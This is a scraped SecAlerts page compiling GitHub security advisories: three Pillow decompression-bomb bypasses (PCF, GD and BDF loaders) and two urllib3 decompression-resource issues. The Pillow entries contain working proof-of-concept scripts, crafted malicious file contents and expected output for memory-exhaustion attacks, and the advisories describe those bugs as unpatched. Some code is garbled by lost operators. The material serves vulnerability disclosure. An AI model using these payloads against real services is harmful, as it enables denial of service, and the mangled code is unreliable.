PCF binary constants PCFMAGIC = 0x70636601 PCFPROPS = 1 << 0 PCFMETRICS = 1 << 2 PCFBITMAPS = 1 << 3 PCFENCODINGS= 1 << 5

def buildbombpcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0)

# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

# Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmapsizes all = 0

# Encodings: char 0x41 ('A') → glyph 0 encoffsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, encoffsets)

secs = [(PCFPROPS, props), (PCFMETRICS, metrics), (PCFBITMAPS, bitmaps), (PCFENCODINGS, encodings)] hdrsize = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCFMAGIC, len(secs)) offset = hdrsize for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for , sdata in secs: out += sdata return out

pcf = buildbombpcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")

tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).name} after allocation") print(f" Heap peak: {peak/10242:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception")

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception

Amplification table:

| PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |

Impact - Availability: HIGH — up to 1.07 GB per glyph, no limit per font file - Confidentiality: None - Integrity: None - Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected - PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

PIL/GdImageFile.py GdImageFile.open() reads image dimensions from the GD 2.x header and stores them in self.size without calling Image.decompressionbombcheck(). Because GdImageFile is not registered with Image.registeropen(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python def open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self.mode = "P" self.size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO decompressionbombcheck() call here ← ... self.tile = [ImageFile.Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

python load() → loadprepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

| Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAXIMAGEPIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self.size = i32(header, 32), i32(header, 36) Image.decompressionbombcheck(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image

Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + truecolor(1) + tindex(4) + colorsused(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height truecolor = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colorsused = b"\x00\x00" palettedata = b"\x00" 1024 header = sig + w + h + truecolor + tindex + colorsused + palettedata assert len(header) == 1037

Confirm: standard Image.open() path BLOCKS this size try: Image.decompressionbombcheck((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}")

Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No decompressionbombcheck called — 4.3 GB allocation not blocked")

Trigger loadprepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAXIMAGEPIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only")

Expected output: [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No decompressionbombcheck called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

| Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | loadprepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario: python from PIL import GdImageFile

Application accepts user-uploaded .gd files img = GdImageFile.open(useruploadedfile) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation

Impact

- Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None - Integrity: None - Authentication required: No — any public endpoint accepting image uploads is affected - User interaction: None

Any service that calls PIL.GdImageFile.open(userfile) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary PIL/BdfFontFile.py bdfchar() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image.decompressionbombcheck(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAXIMAGEPIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls checksize() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88): python width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO decompressionbombcheck()! # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes): STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT

Proof of Concept script: python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold

Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")

Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode()

print(f"[] BDF file size : {len(bdf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated") print(f" Image.open() path would have raised DecompressionBombError")

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] BDF file size : 270 bytes [] Glyph size : 20000 x 20000 = 400,000,000 pixels [] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs): A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact - Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - Confidentiality: None - Integrity: None - Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected - Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

stream(), read(amt=256), read1(amt=256), readchunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

Credits

The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

1 / 4
Source: GitHub
First published (updated )
Severity
8.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

If upgrading is not immediately possible, use preloadcontent=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

1 / 4
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203